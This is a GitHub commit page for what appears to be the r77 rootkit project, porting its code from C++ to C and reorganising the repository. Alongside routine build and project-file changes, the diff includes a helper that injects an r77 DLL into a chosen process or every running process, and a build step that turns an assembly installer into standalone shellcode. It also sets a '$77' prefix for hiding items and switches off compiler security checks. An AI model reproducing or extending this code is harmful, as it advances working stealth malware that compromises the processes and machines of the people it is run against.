Skip to content

Commit

Permalink
C++ -> Plain C; Split r77api into meaningful chunks
Browse files Browse the repository at this point in the history
  • Loading branch information
Martin Fischer committed Oct 14, 2022
1 parent 0b3157c commit 7903358
Show file tree
Hide file tree
Showing 174 changed files with 5,206 additions and 5,045 deletions.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
10 changes: 5 additions & 5 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -17,8 +17,8 @@ TestResults/
*~*.docx

$Build/
vs/Install/Resources/
vs/InstallStager/Resources/
vs/InstallService32/Resources/
vs/InstallService64/Resources/
vs/Uninstall/Resources/
Install/Resources/
Stager/Resources/
Service32/Resources/
Service64/Resources/
Uninstall/Resources/
14 changes: 9 additions & 5 deletions vs/BuildTask/BuildTask.cs → BuildTask/BuildTask.cs
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ public static int Main(string[] args)
{
if (!Directory.Exists(args[1])) return 1;

return CreateShellCodeInstaller(new DirectoryInfo(args[1]).Parent.FullName) ? 0 : 1;
return CreateShellCodeInstaller(args[1]) ? 0 : 1;
}
else
{
Expand Down Expand Up @@ -86,14 +86,18 @@ private static byte[] R77Signature(byte[] file, ushort signature)
}
private static bool CreateShellCodeInstaller(string solutionDir)
{
Directory.CreateDirectory(Path.Combine(solutionDir, @"src\InstallShellcode\bin"));
Directory.CreateDirectory(Path.Combine(solutionDir, @"InstallShellcode\bin"));

string shellCodePath = Path.Combine(solutionDir, @"src\InstallShellcode\bin\InstallShellcode.exe");
if (FasmCompile(Path.Combine(solutionDir, @"SlnBin\FASM"), Path.Combine(solutionDir, @"src\InstallShellcode\InstallShellcode.asm"), shellCodePath))
string shellCodeExePath = Path.Combine(solutionDir, @"InstallShellcode\bin\InstallShellcode.exe");
string shellCodePath = Path.Combine(solutionDir, @"InstallShellcode\bin\InstallShellcode.shellcode");

if (FasmCompile(Path.Combine(solutionDir, @"SlnBin\FASM"), Path.Combine(solutionDir, @"InstallShellcode\InstallShellcode.asm"), shellCodeExePath))
{
byte[] shellCode = ExtractShellCode(File.ReadAllBytes(shellCodeExePath));
File.WriteAllBytes(shellCodePath, shellCode);

using (FileStream file = File.Create(Path.Combine(solutionDir, @"$Build\Install.shellcode")))
{
byte[] shellCode = ExtractShellCode(File.ReadAllBytes(shellCodePath));
file.Write(shellCode, 0, shellCode.Length);

byte[] installer = File.ReadAllBytes(Path.Combine(solutionDir, @"$Build\Install.exe"));
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="..\..\src\GlobalAssemblyInfo.cs">
<Compile Include="..\Global\GlobalAssemblyInfo.cs">
<Link>Properties\GlobalAssemblyInfo.cs</Link>
</Compile>
<Compile Include="BuildTask.cs" />
Expand Down
File renamed without changes.
File renamed without changes.
File renamed without changes.
10 changes: 5 additions & 5 deletions vs/Example/Example.csproj → Example/Example.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -59,14 +59,14 @@
<Generator>MSBuild:Compile</Generator>
<SubType>Designer</SubType>
</ApplicationDefinition>
<Compile Include="..\Global\GlobalAssemblyInfo.cs">
<Link>Properties\GlobalAssemblyInfo.cs</Link>
</Compile>
<Compile Include="Properties\AssemblyInfo.cs" />
<Page Include="MainWindow.xaml">
<Generator>MSBuild:Compile</Generator>
<SubType>Designer</SubType>
</Page>
<Compile Include="..\..\src\GlobalAssemblyInfo.cs">
<Link>Properties\GlobalAssemblyInfo.cs</Link>
</Compile>
<Compile Include="App.xaml.cs">
<DependentUpon>App.xaml</DependentUpon>
<SubType>Code</SubType>
Expand Down Expand Up @@ -94,7 +94,7 @@
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<PropertyGroup>
<PostBuildEvent>mkdir "$(SolutionDir)..\$Build"
echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)..\$Build\$77-Example.exe"</PostBuildEvent>
<PostBuildEvent>mkdir "$(SolutionDir)$Build"
echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)$Build\$77-Example.exe"</PostBuildEvent>
</PropertyGroup>
</Project>
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes
File renamed without changes
File renamed without changes
File renamed without changes.
2 changes: 1 addition & 1 deletion src/GlobalAssemblyInfo.cs → Global/GlobalAssemblyInfo.cs
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@

namespace Global
{
// These constants must match the preprocessor definitions in r77api.h
// These constants must match the preprocessor definitions in r77def.h
public static class Config
{
public const string HidePrefix = "$77";
Expand Down
38 changes: 23 additions & 15 deletions src/Helper/Helper.cpp → Helper/Helper.c
Original file line number Diff line number Diff line change
@@ -1,33 +1,41 @@
#include "Helper.h"

int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow)
#include "r77def.h"
#include "r77win.h"
#include "r77config.h"
#include "r77process.h"
#include <stdio.h>
#include <Shlwapi.h>
#include <tlhelp32.h>
#include <Psapi.h>

int CALLBACK WinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE previousInstance, _In_ LPSTR commandLine, _In_ int cmdShow)
{
InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE);
EnabledDebugPrivilege();

int argCount;
LPWSTR *args = CommandLineToArgvW(GetCommandLineW(), &argCount);
if (!args) return 1;

if (argCount == 1)
{
MessageBoxW(NULL, L"This is a commandline utility used by TestConsole.exe", sizeof(LPVOID) == 4 ? L"Helper32.exe" : L"Helper64.exe", MB_ICONASTERISK | MB_OK);
MessageBoxW(NULL, L"This is a commandline utility used by TestConsole.exe", COALESCE_BITNESS(L"Helper32.exe", L"Helper64.exe"), MB_ICONASTERISK | MB_OK);
return 1;
}
// Helper32|64.exe -config
else if (argCount == 2 && !lstrcmpiW(args[1], L"-config"))
else if (argCount == 2 && !StrCmpIW(args[1], L"-config"))
{
return CreateConfig();
}
// Helper32|64.exe -list
else if (argCount == 2 && !lstrcmpiW(args[1], L"-list"))
else if (argCount == 2 && !StrCmpIW(args[1], L"-list"))
{
return ProcessList();
}
// All processes: Helper32|64.exe -inject -all "C:\path\to\r77-*.dll"
// Specific PID: Helper32|64.exe -inject 1234 "C:\path\to\r77-*.dll"
else if (argCount == 4 && !lstrcmpiW(args[1], L"-inject"))
else if (argCount == 4 && !StrCmpIW(args[1], L"-inject"))
{
if (!lstrcmpiW(args[2], L"-all"))
if (!StrCmpIW(args[2], L"-all"))
{
return Inject(-1, args[3]);
}
Expand All @@ -39,9 +47,9 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma
}
// All processes: Helper32|64.exe -detach -all
// Specific PID: Helper32|64.exe -detach 1234
else if (argCount == 3 && !lstrcmpiW(args[1], L"-detach"))
else if (argCount == 3 && !StrCmpIW(args[1], L"-detach"))
{
if (!lstrcmpiW(args[2], L"-all"))
if (!StrCmpIW(args[2], L"-all"))
{
return Detach(-1);
}
Expand All @@ -67,15 +75,15 @@ int ProcessList()
// - or that it's the r77 service,
// - or that it's an r77 helper file.

PR77_PROCESS r77Processes = new R77_PROCESS[1000];
PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
DWORD r77ProcessCount = 1000;
if (!GetR77Processes(r77Processes, &r77ProcessCount)) r77ProcessCount = 0;

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return 1;

PROCESSENTRY32W processEntry;
processEntry.dwSize = sizeof(processEntry);
processEntry.dwSize = sizeof(PROCESSENTRY32W);

WCHAR fileName[MAX_PATH + 1];
WCHAR userName[256];
Expand Down Expand Up @@ -172,7 +180,7 @@ int Inject(DWORD processId, LPCWSTR dllPath)
if (processId == -1)
{
// Inject all processes
LPDWORD processes = new DWORD[10000];
LPDWORD processes = NEW_ARRAY(DWORD, 10000);
DWORD processCount = 0;
if (EnumProcesses(processes, sizeof(DWORD) * 10000, &processCount))
{
Expand Down Expand Up @@ -207,6 +215,6 @@ int Detach(DWORD processId)
else
{
// Detach from specific process
return DetachInjectedProcess(processId) ? 0 : 1;
return DetachInjectedProcessById(processId) ? 0 : 1;
}
}
5 changes: 1 addition & 4 deletions src/Helper/Helper.h → Helper/Helper.h
Original file line number Diff line number Diff line change
@@ -1,7 +1,4 @@
#pragma comment(linker, "/subsystem:windows")

#include "../r77api.h"
#include <tlhelp32.h>
#include "r77mindef.h"

/// <summary>
/// Helper32.exe and Helper64.exe are used by TestConsole.exe to retrieve a process list.
Expand Down
22 changes: 22 additions & 0 deletions Helper/Helper.vcxitems
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Label="Globals">
<MSBuildAllProjects Condition="'$(MSBuildVersion)' == '' Or '$(MSBuildVersion)' &lt; '16.0'">$(MSBuildAllProjects);$(MSBuildThisFileFullPath)</MSBuildAllProjects>
<HasSharedItems>true</HasSharedItems>
<ItemsProjectGuid>{e6543f7a-4e58-4c55-975e-ed975481ebe8}</ItemsProjectGuid>
</PropertyGroup>
<ItemDefinitionGroup>
<ClCompile>
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)</AdditionalIncludeDirectories>
</ClCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ProjectCapability Include="SourceItemsFromImports" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="$(MSBuildThisFileDirectory)Helper.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="$(MSBuildThisFileDirectory)Helper.h" />
</ItemGroup>
</Project>
41 changes: 22 additions & 19 deletions vs/Helper32/Helper32.vcxproj → Helper32/Helper32.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -21,20 +21,22 @@
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
<Import Project="..\Helper\Helper.vcxitems" Label="Shared" />
<Import Project="..\r77api\r77api.vcxitems" Label="Shared" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
Expand All @@ -45,59 +47,60 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<CompileAs>CompileAsC</CompileAs>
<BufferSecurityCheck>false</BufferSecurityCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
<PostBuildEvent>
<Command>"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
mkdir "$(SolutionDir)..\$Build"
xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"</Command>
mkdir "$(SolutionDir)$Build"
xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<CompileAs>CompileAsC</CompileAs>
<BufferSecurityCheck>false</BufferSecurityCheck>
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
<PostBuildEvent>
<Command>"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
mkdir "$(SolutionDir)..\$Build"
xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"</Command>
mkdir "$(SolutionDir)$Build"
xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\..\src\Helper\Helper.cpp" />
<ClCompile Include="..\..\src\r77api.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\src\Helper\Helper.h" />
<ClInclude Include="..\..\src\ntdll.h" />
<ClInclude Include="..\..\src\r77api.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
Expand Down
2 changes: 2 additions & 0 deletions Helper32/Helper32.vcxproj.filters
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />
Loading

0 comments on commit 7903358

Please sign in to comment.